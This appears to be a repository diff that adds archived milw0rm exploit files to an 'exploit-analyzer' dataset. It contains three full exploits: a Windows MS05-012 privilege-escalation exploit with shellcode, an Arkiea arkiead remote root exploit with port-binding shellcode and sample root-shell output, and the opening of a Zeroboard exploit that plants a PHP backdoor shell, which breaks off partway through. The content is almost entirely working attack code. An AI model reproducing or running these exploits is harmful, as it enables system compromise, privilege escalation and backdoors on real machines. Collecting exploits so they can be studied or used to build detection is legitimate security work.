 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // by Cesar Cerrudo - Argeniss - www.argeniss.com
2
+ // MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
3
+ //
4
+ // More exploits at www.argeniss.com/products.html
5
+ //
6
+ // Works on Win2k sp4, WinXP sp2, Win2k3 sp0
7
+ // Close all runing programs to avoid possible problems
8
+ // If it finds the section and it doesn't work remove section permissions
9
+ // from msiexec service process with WinObj or crash the msiexec service and try again
10
+ // if offsets don't work, debug and change them
11
+
12
+ #include <windows.h>
13
+ #include <stdio.h>
14
+
15
+ typedef struct _LSA_UNICODE_STRING {
16
+ USHORT Length;
17
+ USHORT MaximumLength;
18
+ PWSTR Buffer;
19
+ } UNICODE_STRING;
20
+
21
+ typedef struct _OBJDIR_INFORMATION {
22
+ UNICODE_STRING ObjectName;
23
+ UNICODE_STRING ObjectTypeName;
24
+ BYTE Data[1];
25
+ } OBJDIR_INFORMATION;
26
+
27
+ typedef struct _OBJECT_ATTRIBUTES {
28
+ ULONG Length;
29
+ HANDLE RootDirectory;
30
+ UNICODE_STRING *ObjectName;
31
+ ULONG Attributes;
32
+ PVOID SecurityDescriptor;
33
+ PVOID SecurityQualityOfService;
34
+ } OBJECT_ATTRIBUTES;
35
+
36
+ #define InitializeObjectAttributes( p, n, a, r, s ) { \
37
+ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
38
+ (p)->RootDirectory = r; \
39
+ (p)->Attributes = a; \
40
+ (p)->ObjectName = n; \
41
+ (p)->SecurityDescriptor = s; \
42
+ (p)->SecurityQualityOfService = NULL; \
43
+ }
44
+
45
+ typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR szCommandLine);
46
+ MSIINSTALLPRODUCT MsiInstallProduct;
47
+
48
+ typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE, OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
49
+ NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;
50
+
51
+ typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *, DWORD,OBJECT_ATTRIBUTES* );
52
+ NTOPENDIRECTORYOBJECT NtOpenDirectoryObject;
53
+
54
+
55
+ DWORD WINAPI LoadWinInstaller(LPVOID lpParam)
56
+ {
57
+ HMODULE hMsi;
58
+
59
+ hMsi = LoadLibrary("msi.dll");
60
+ MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA");
61
+ //run unistall , without permissions this makes a windows pop up
62
+ //while this window is showing the shared section is created and available on Windows Installer service process
63
+ MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
64
+
65
+ return 0;
66
+ }
67
+
68
+
69
+
70
+ int main(int argc, char* argv[])
71
+ {
72
+
73
+ OBJDIR_INFORMATION *ssinfo =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(), 0, 0x800);
74
+
75
+ HANDLE hFile,hThread,hMapFile;
76
+ HMODULE hNtdll ,hKernel;
77
+ DWORD dwThreadId;
78
+ OBJECT_ATTRIBUTES obj;
79
+ WCHAR * uString=L"\\BaseNamedObjects";
80
+ UNICODE_STRING str;
81
+ DWORD i,a,iStrLen,b=0;
82
+ char sObjName[30],sTmp[50];
83
+ LPVOID lpMapAddress;
84
+ FARPROC pWinExec,pExitThread;
85
+ bool bFound;
86
+ char* sCommand;
87
+
88
+
89
+ if (!argv[1]||!argv[2]) {
90
+ printf("\nUsage :\n SSExploit \"Applicatoin to uninstall\" \"command\" \n");
91
+ printf("\nExamples :\n SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n");
92
+ exit(0);
93
+ }
94
+
95
+ iStrLen=strlen(argv[2]);
96
+
97
+ if(iStrLen>=65){
98
+ printf("\n\"command\" must be less than 65 chars.\n");
99
+ exit(0);
100
+ }
101
+
102
+ sCommand=argv[2];
103
+
104
+ hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId);
105
+
106
+ Sleep(3000);
107
+
108
+ hNtdll = LoadLibrary("ntdll.dll");
109
+
110
+ NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject");
111
+ NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject");
112
+
113
+ str.Length=wcslen(uString)*2;
114
+ str.MaximumLength =wcslen(uString)*2+2;
115
+ str.Buffer =uString;
116
+
117
+ InitializeObjectAttributes (&obj, &str, 0, 0, 00);
118
+ NtOpenDirectoryObject(&hFile,0x20001,&obj);
119
+
120
+ printf("\nSearching for Shared Section...\n\n");
121
+
122
+ // Get all objects names under \BaseNamedObjects
123
+
124
+ if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
125
+ do{
126
+ bFound=NULL;
127
+ while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
128
+ //check if it's a section name
129
+ if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){
130
+ for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
131
+ sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
132
+ }
133
+ //check if it's the one we are searching for
134
+ if (!strncmp(sObjName,"DfSharedHeap",12)){
135
+ bFound=1;
136
+ break;
137
+ }
138
+ }
139
+ }
140
+ if (bFound)
141
+ printf("Shared Section Found: %s\n",sObjName);
142
+ else {
143
+ printf("Shared Section Not Found");
144
+ exit(0);
145
+ }
146
+
147
+ strcpy(sTmp,"Global\\");
148
+ strcat(sTmp,sObjName); //append global prefix to support Terminal Services
149
+
150
+ hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp);
151
+
152
+ //the shared section name couldn't be the one we are searching for
153
+ if (hMapFile == NULL)
154
+ printf("Could not open Shared Section\n\n");
155
+ else
156
+ printf("Shared Section opened\n\n");
157
+
158
+ } while (hMapFile == NULL) ;
159
+
160
+ lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
161
+
162
+ if (lpMapAddress == NULL) {
163
+ printf("Could not map Shared Section");
164
+ exit(0);
165
+ }
166
+ else
167
+ printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n");
168
+
169
+ hKernel=LoadLibrary("Kernel32.dll");
170
+
171
+ pWinExec=GetProcAddress(hKernel,"WinExec");
172
+ pExitThread=GetProcAddress(hKernel,"ExitThread");
173
+
174
+ _asm{
175
+
176
+ mov eax,fs:[30h] // get pointer to PEB
177
+ mov eax,[eax+0A8h] // get OS minor version
178
+ cmp eax,0x0
179
+ jz W2ksp4
180
+ cmp eax,0x1
181
+ jz WinXPsp2
182
+ jmp Win2K3 // address of section seems static on same OS version
183
+
184
+ W2Ksp4:
185
+ mov eax,0x0101FFF0 // address of begining of section - 0x10 used to overwrite pointer
186
+ mov edx,0x01020004 // address of shellcode
187
+ jmp Done
188
+
189
+ WinXPsp2:
190
+ mov eax,0x0086FFF0 // address of begining of section - 0x10 used to overwrite pointer
191
+ mov edx,0x00870004 // address of shellcode
192
+ jmp Done
193
+
194
+ Win2K3:
195
+ mov eax,0x007BFFF0 // address of begining of section - 0x10 used to overwrite pointer
196
+ mov edx,0x007C0004 // address of shellcode
197
+
198
+ Done:
199
+ mov ebx,lpMapAddress
200
+ mov ecx, 0x1000
201
+
202
+ l00p: // overwrite section data, so overwriten structures will point to shellcode
203
+ mov dword ptr[ebx],eax
204
+ sub ecx,0x4
205
+ add ebx,0x4
206
+
207
+ cmp ecx,0x0
208
+ jnz l00p
209
+
210
+ mov ebx,lpMapAddress //address of shellcode
211
+ mov dword ptr[ebx],edx
212
+
213
+ //start copying shellcode
214
+
215
+ lea esi, Shellcode
216
+ lea edi, [ebx+4]
217
+ lea ecx, End
218
+ sub ecx, esi
219
+ push esi
220
+ push edi
221
+ cld
222
+ rep movsb
223
+
224
+ pop edi
225
+ pop esi
226
+ push edi
227
+ lea ecx, CommandBuf
228
+ sub ecx, esi
229
+ add edi, ecx
230
+ mov esi, sCommand
231
+ mov ecx, iStrLen
232
+ rep movsb
233
+ mov [edi], 0x00
234
+
235
+ pop edi
236
+ mov esi, pWinExec
237
+ mov [edi+0x5], esi
238
+
239
+ mov esi, pExitThread
240
+ mov [edi+0x9], esi
241
+
242
+ }
243
+
244
+ printf("Command should have been executed ;)\n");
245
+ CloseHandle(hMapFile);
246
+
247
+ }
248
+ else printf("Couldn't get object names \n");
249
+
250
+ return 0;
251
+
252
+ _asm{
253
+
254
+ Shellcode:
255
+ call getDelta
256
+ // this gets overwrited
257
+ mov ax,0xffff
258
+ mov ax,0xffff
259
+
260
+ CommandBuf: // this gets overwrited
261
+ mov dword ptr[eax],0x55555555
262
+ mov dword ptr[eax],0x55555555
263
+ mov dword ptr[eax],0x55555555
264
+ mov dword ptr[eax],0x55555555
265
+ mov dword ptr[eax],0x55555555
266
+ mov dword ptr[eax],0x55555555
267
+ mov dword ptr[eax],0x55555555
268
+ mov dword ptr[eax],0x55555555
269
+ mov dword ptr[eax],0x55555555
270
+ mov dword ptr[eax],0x55555555
271
+ mov dword ptr[eax],0x55555555
272
+
273
+ getDelta:
274
+ pop edx // Get shellcode/shared section pointer
275
+ push edx // save edx
276
+
277
+ push 0x1 // push 0x0 for hidden window
278
+ lea eax, [edx+0x8]
279
+ push eax // Command offset
280
+ call [edx] // Call WinExec
281
+
282
+ pop edx
283
+ call [edx+0x4] // Call ExitThread to avoid msiexec service to crash
284
+
285
+ End:
286
+ }
287
+ }
288
+
289
+ // milw0rm.com [2005-05-31]
exploit-analyzer/exploits/exploit_102.txt ADDED
@@ -0,0 +1,234 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ * Knox Arkiea arkiead local/remote root exploit.
3
+ *
4
+ * Portbind 5074 shellcode
5
+ *
6
+ * Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable.
7
+ *
8
+ * NULLs out least significant byte of EBP to pull EIP out of overflow buffer.
9
+ * A previous request forces a large allocation of NOP's + shellcode in heap
10
+ * memory. Find additional targets by searching the heap for NOP's after a
11
+ * crash. safeaddr must point to any area of memory that is read/writable
12
+ * and won't mess with program/shellcode flow.
13
+ *
14
+ * ./ark_sink host targetnum
15
+ * [user@host dir]$ ./ark_sink 192.168.1.2 1
16
+ * [*] Connected to 192.168.1.2:617
17
+ * [*] Connected to 192.168.1.2:617
18
+ * [*] Sending nops+shellcode
19
+ * [*] Done, sleeping
20
+ * [*] Sending overflow
21
+ * [*] Done
22
+ * [*] Sleeping and connecting remote shell
23
+ * [*] Connected to 192.168.1.2:5074
24
+ * [*] Success, enjoy
25
+ * id
26
+ * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
27
+ *
28
+ *
29
+ */
30
+
31
+
32
+ #include <stdio.h>
33
+ #include <stdlib.h>
34
+ #include <unistd.h>
35
+ #include <netdb.h>
36
+ #include <sys/socket.h>
37
+ #include <sys/errno.h>
38
+ #include <sys/types.h>
39
+ #include <netinet/in.h>
40
+ #include <arpa/nameser.h>
41
+
42
+
43
+ #define BUFLEN 10000 /* for getshell() */
44
+ #define LEN 280 /* overflow packet data section */
45
+ #define HEAD_LEN 8 /* overflow packet header */
46
+ #define NOP_LEN 10000 /* nop+shellcode packet */
47
+ #define ARK_PORT 617
48
+ #define SHELL_PORT 5074
49
+ #define NOP 0x90
50
+ #define NUMTARGS 2
51
+
52
+ struct {
53
+ char *os;
54
+ unsigned int targret;
55
+ unsigned int targsafe;
56
+ } targets[] = {
57
+ { "Redhat 8.0", 0x80ecf90, 0x080eb940 },
58
+ { "Redhat 7.2", 0x80eddc0, 0x080eb940 },
59
+ NULL
60
+ };
61
+
62
+
63
+ /* portbind 5074 */
64
+ const char shellcode[] =
65
+ "\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
66
+ "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08"
67
+ "\x8d\x4d\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14"
68
+ "\x66\xc7\x45\x16\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14"
69
+ "\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80\x40\x89\x45\x0c"
70
+ "\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0\x66"
71
+ "\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03"
72
+ "\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
73
+ "\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
74
+
75
+ unsigned int resolve(char *hostname)
76
+ {
77
+ u_long ip = 0;
78
+ struct hostent *hoste;
79
+
80
+ if ((int)(ip = inet_addr(hostname)) == -1)
81
+ {
82
+ if ((hoste = gethostbyname(hostname)) == NULL)
83
+ {
84
+ herror("[!] gethostbyname");
85
+ exit(-1);
86
+ }
87
+ memcpy(&ip, hoste->h_addr, hoste->h_length);
88
+ }
89
+ return(ip);
90
+ }
91
+
92
+
93
+ int isock(char *hostname, int portnum)
94
+ {
95
+ struct sockaddr_in sock_a;
96
+ int num, sock;
97
+ unsigned int ip;
98
+ fd_set input;
99
+
100
+ sock_a.sin_family = AF_INET;
101
+ sock_a.sin_port = htons(portnum);
102
+ sock_a.sin_addr.s_addr = resolve(hostname);
103
+
104
+ if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
105
+ {
106
+ herror("[!] accept");
107
+ exit(-1);
108
+ }
109
+
110
+ if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
111
+ {
112
+ herror("[!] connect");
113
+ exit(-1);
114
+ }
115
+
116
+ fprintf(stderr, "[*] Connected to %s:%d\n", hostname, portnum);
117
+ return(sock);
118
+
119
+ }
120
+
121
+ int getshell(int sock)
122
+ {
123
+
124
+ char buf[BUFLEN];
125
+ int nread=0;
126
+
127
+ while(1)
128
+ {
129
+ fd_set input;
130
+ FD_SET(0,&input);
131
+ FD_SET(sock,&input);
132
+ select(sock+1,&input,NULL,NULL,NULL);
133
+
134
+ if(FD_ISSET(sock,&input))
135
+ {
136
+ nread=read(sock,buf,BUFLEN);
137
+ write(1,buf,nread);
138
+ }
139
+ if(FD_ISSET(0,&input))
140
+ write(sock,buf,read(0,buf,BUFLEN));
141
+ }
142
+ }
143
+
144
+ int usage(char *progname)
145
+ {
146
+ int i;
147
+
148
+ fprintf(stderr, "Usage:\n./%s hostname target_num\n");
149
+ for (i = 0; targets[i].os; i++)
150
+ fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
151
+ exit(-1);
152
+ }
153
+
154
+ int main( int argc, char **argv)
155
+ {
156
+
157
+ /* first 2 bytes are a type 74 request */
158
+ /* last two bytes length */
159
+ char head[] = "\x00\x4a\x00\x03\x00\x01\xff\xff";
160
+ char data[512];
161
+ char sc_req[20000];
162
+ char *host;
163
+ unsigned int tnum;
164
+ unsigned int safeaddr;
165
+ unsigned int ret;
166
+ int datalen = LEN;
167
+ int port = ARK_PORT;
168
+ unsigned int addr = 0;
169
+ int sock_overflow, sock_nops, sock_shell;
170
+ int i;
171
+
172
+ if (argc == 3)
173
+ {
174
+ host = argv[1];
175
+ tnum = atoi(argv[2]);
176
+ if (tnum > NUMTARGS || tnum == 0)
177
+ {
178
+ fprintf(stderr, "[!] Invalid target\n");
179
+ usage(argv[0]);
180
+ }
181
+ }
182
+ else
183
+ {
184
+ usage(argv[0]);
185
+ }
186
+
187
+ tnum--;
188
+ ret = targets[tnum].targret;
189
+ safeaddr = targets[tnum].targsafe;
190
+
191
+ sock_overflow = sock_nops = sock_shell = 0;
192
+ sock_nops = isock(host, port);
193
+ sock_overflow = isock(host, port);
194
+
195
+ // build data section of overflow packet
196
+ memset(data, 0x90, datalen);
197
+ for (i = 0; i < datalen; i += 4)
198
+ memcpy(data+i, (char *)&ret, 4);
199
+ // we overwrite a pointer that must be a valid address
200
+ memcpy(data+datalen-12, (char *)&safeaddr, 4);
201
+
202
+ // build header of overflow packet
203
+ datalen = ntohs(datalen);
204
+ memcpy(head+6, (char *)&datalen, 2);
205
+
206
+ // build invalid packet with nops+shellcode
207
+ memset(sc_req, 0x90, NOP_LEN+1);
208
+ memcpy(sc_req+NOP_LEN, shellcode, sizeof(shellcode));
209
+
210
+ // send invalid nop+shellcode packet
211
+ fprintf(stderr, "[*] Sending nops+shellcode\n");
212
+ write(sock_nops, sc_req, NOP_LEN+sizeof(shellcode));
213
+ fprintf(stderr, "[*] Done, sleeping\n");
214
+ sleep(1);
215
+ close(sock_nops);
216
+
217
+ // send overflow
218
+ fprintf(stderr, "[*] Sending overflow\n");
219
+ write(sock_overflow, head, HEAD_LEN);
220
+ write(sock_overflow, data, LEN);
221
+ fprintf(stderr, "[*] Done\n");
222
+ fprintf(stderr, "[*] Sleeping and connecting remote shell\n");
223
+ sleep (1);
224
+ close(sock_overflow);
225
+
226
+ // connect to shell
227
+ sock_shell = isock(host, SHELL_PORT);
228
+ fprintf(stderr, "[*] Success, enjoy\n");
229
+ getshell(sock_shell);
230
+
231
+ }
232
+
233
+
234
+ // milw0rm.com [2003-09-20]
exploit-analyzer/exploits/exploit_1020.txt ADDED
@@ -0,0 +1,667 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ *
3
+ ----------------------------------------------------------------------------------
4
+ [+] Zeroboard preg_replace vulnerability Remote nobody shell exploit
5
+ ----------------------------------------------------------------------------------
6
+
7
+ > by n0gada (n0gada@null2root.org)
8
+
9
+ [*] date : 2005/5/29
10
+
11
+ [*] the bug
12
+
13
+ Original advisory:
14
+ - http://pandora.sapzil.info/text/notify/20050123.zb41advisory.php
15
+
16
+ Application
17
+ - Zeroboard 4.1 pl2 - 4.1 pl5
18
+
19
+ Reference:
20
+ - http://www.nzeo.com
21
+
22
+ [*] Target - My test server
23
+
24
+ $ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test
25
+ - Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test
26
+
27
+ [+] xxx.xxx.xxx connecting ok!
28
+ [+] Zeroboard writing . ok!
29
+ [+] Confirmming your article - found!
30
+ [+] Exploiting zeroboard start ............................... Done!
31
+ [*] Confirmming your backdoor php script -
32
+ http://xxx.xxx.xxx/zboard/data/test/shell.php is generated!
33
+ [+] Exploiting success!!
34
+ [*] Remove your article - ok! :)
35
+
36
+ ------------------------------------------------------------------------------
37
+ *
38
+ */
39
+
40
+ #include <stdio.h>
41
+ #include <stdarg.h>
42
+ #include <stdlib.h>
43
+ #include <string.h>
44
+ #include <unistd.h>
45
+ #include <netdb.h>
46
+ #include <sys/types.h>
47
+ #include <signal.h>
48
+ #include <time.h>
49
+ #include <sys/socket.h>
50
+ #include <netinet/in.h>
51
+ #include <arpa/inet.h>
52
+ #include <sys/select.h>
53
+ #include <errno.h>
54
+
55
+
56
+ #define BUFSIZE 4096
57
+ #define READSIZE 1500
58
+
59
+ void ParseZbHost(char *);
60
+ void ConnectZboard(char *, unsigned short);
61
+ void WriteZboard(void);
62
+ void ExploitZboard(void);
63
+ void ConfirmPHPScript(void);
64
+ void DeleteArticle(void);
65
+ void StatusProcess(void);
66
+ void Usage(char *);
67
+ void OutputErr(char *, int);
68
+
69
+ char *zb_host;
70
+ char *zb_dir;
71
+ char *zb_tid;
72
+ unsigned short zb_port;
73
+
74
+ int sockfd = -1;
75
+ int reconn=0;
76
+ char ReadBuf[READSIZE];
77
+ char WriteBuf[BUFSIZE];
78
+ char TempBuf[BUFSIZ];
79
+ char no[16];
80
+
81
+
82
+ int main(int argc, char *argv[]){
83
+
84
+ if(argc < 2) Usage(argv[0]);
85
+
86
+ if(argc > 2) zb_port = atoi(argv[2]);
87
+ else zb_port = 80;
88
+
89
+ // http://host/bbs/zboard.php?id=test
90
+
91
+ ParseZbHost(argv[1]);
92
+
93
+ ConnectZboard(zb_host, zb_port);
94
+
95
+ WriteZboard();
96
+
97
+ ExploitZboard();
98
+
99
+ ConfirmPHPScript();
100
+
101
+ DeleteArticle();
102
+ }
103
+
104
+ void ParseZbHost(char *zbhost)
105
+ {
106
+ char *psbuf;
107
+ char *sptr=NULL;
108
+ char *eptr=NULL;
109
+
110
+ psbuf = malloc(strlen(zbhost)+1);
111
+
112
+ strcpy(psbuf, zbhost);
113
+
114
+ if((sptr = strstr(psbuf,"http://")) == NULL) OutputErr("http://host need\n", 0);
115
+
116
+ zb_host = sptr+7;
117
+
118
+ sptr = strchr(zb_host, '/');
119
+ sptr[0] = '\0';
120
+ sptr++;
121
+
122
+ if((eptr = strstr(sptr, "zboard.php?id=")) == NULL) OutputErr("\"zboard.php?id=\"
123
+ need\n", 0);
124
+
125
+ zb_tid = eptr+14;
126
+
127
+ eptr--;
128
+ eptr[0] = '\0';
129
+
130
+ zb_dir = sptr;
131
+
132
+ fprintf(stdout, " - Target : http://%s/%s/zboard.php?id=%s\n", zb_host, zb_dir,
133
+ zb_tid);
134
+ fflush(stdout);
135
+ }
136
+
137
+
138
+ void ConnectZboard(char *server, unsigned short port)
139
+ {
140
+
141
+ struct sockaddr_in serv;
142
+ struct hostent *hostname;
143
+
144
+ if(!(hostname = gethostbyname(server))) OutputErr(server, 1);
145
+ if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) OutputErr("socket", 1);
146
+
147
+ memset(&serv, 0, sizeof(serv));
148
+ serv.sin_family = AF_INET;
149
+ serv.sin_port = htons(port);
150
+ serv.sin_addr.s_addr = *((unsigned long *)hostname->h_addr_list[0]);
151
+ // serv.sin_addr = *((struct in_addr *)hostname->h_addr_list[0]);
152
+
153
+ if(connect(sockfd, (struct sockaddr *)&serv, sizeof(struct sockaddr)) < 0)
154
+ OutputErr("connect", 1);
155
+
156
+ if(!reconn) fprintf(stdout,"\n [+] %s connecting ok!\n", server);
157
+ else if(reconn == 1) fprintf(stdout, " [+] %s reconnecting ok!\n", server);
158
+ fflush(stdout);
159
+
160
+ reconn = 0;
161
+ }
162
+
163
+ void WriteZboard(void)
164
+ {
165
+ fd_set fds;
166
+ struct timeval tv;
167
+ int err = -1;
168
+ int i = 0;
169
+ int cnt=0;
170
+ char *tmp_ptr, *ptr;
171
+ char form_data[BUFSIZE];
172
+
173
+ memset(form_data, 0, sizeof(form_data));
174
+ sprintf(form_data,
175
+ "-----------------------------8ac34985126d8\r\n"
176
+ "Content-Disposition: form-data; name=\"page\"\r\n"
177
+ "\r\n"
178
+ "1\r\n"
179
+ "-----------------------------8ac34985126d8\r\n"
180
+ "Content-Disposition: form-data; name=\"id\"\r\n"
181
+ "\r\n"
182
+ "%s\r\n"
183
+ "-----------------------------8ac34985126d8\r\n"
184
+ "Content-Disposition: form-data; name=\"no\"\r\n"
185
+ "\r\n"
186
+ "\r\n"
187
+ "-----------------------------8ac34985126d8\r\n"
188
+ "Content-Disposition: form-data; name=\"select_arrange\"\r\n"
189
+ "\r\n"
190
+ "headnum\r\n"
191
+ "-----------------------------8ac34985126d8\r\n"
192
+ "Content-Disposition: form-data; name=\"desc\"\r\n"
193
+ "\r\n"
194
+ "asc\r\n"
195
+ "-----------------------------8ac34985126d8\r\n"
196
+ "Content-Disposition: form-data; name=\"page_num\"\r\n"
197
+ "\r\n"
198
+ "\r\n"
199
+ "-----------------------------8ac34985126d8\r\n"
200
+ "Content-Disposition: form-data; name=\"keyword\"\r\n"
201
+ "\r\n"
202
+ "\r\n"
203
+ "-----------------------------8ac34985126d8\r\n"
204
+ "Content-Disposition: form-data; name=\"category\"\r\n"
205
+ "\r\n"
206
+ "\r\n"
207
+ "-----------------------------8ac34985126d8\r\n"
208
+ "Content-Disposition: form-data; name=\"sn\"\r\n"
209
+ "\r\n"
210
+ "off\r\n"
211
+ "-----------------------------8ac34985126d8\r\n"
212
+ "Content-Disposition: form-data; name=\"ss\"\r\n"
213
+ "\r\n"
214
+ "on\r\n"
215
+ "-----------------------------8ac34985126d8\r\n"
216
+ "Content-Disposition: form-data; name=\"sc\"\r\n"
217
+ "\r\n"
218
+ "on\r\n"
219
+ "-----------------------------8ac34985126d8\r\n"
220
+ "Content-Disposition: form-data; name=\"mode\"\r\n"
221
+ "\r\n"
222
+ "write\r\n"
223
+ "-----------------------------8ac34985126d8\r\n"
224
+ "Content-Disposition: form-data; name=\"password\"\r\n"
225
+ "\r\n"
226
+ "1212\r\n"
227
+ "-----------------------------8ac34985126d8\r\n"
228
+ "Content-Disposition: form-data; name=\"name\"\r\n"
229
+ "\r\n"
230
+ "zero\r\n"
231
+ "-----------------------------8ac34985126d8\r\n"
232
+ "Content-Disposition: form-data; name=\"email\"\r\n"
233
+ "\r\n"
234
+ "zero@nzeo.com\r\n"
235
+ "-----------------------------8ac34985126d8\r\n"
236
+ "Content-Disposition: form-data; name=\"homepage\"\r\n"
237
+ "\r\n"
238
+ "\r\n"
239
+ "-----------------------------8ac34985126d8\r\n"
240
+ "Content-Disposition: form-data; name=\"subject\"\r\n"
241
+ "\r\n"
242
+ "zero@nzeo.com hi~!\r\n"
243
+ "-----------------------------8ac34985126d8\r\n"
244
+ "Content-Disposition: form-data; name=\"memo\"\r\n"
245
+ "\r\n"
246
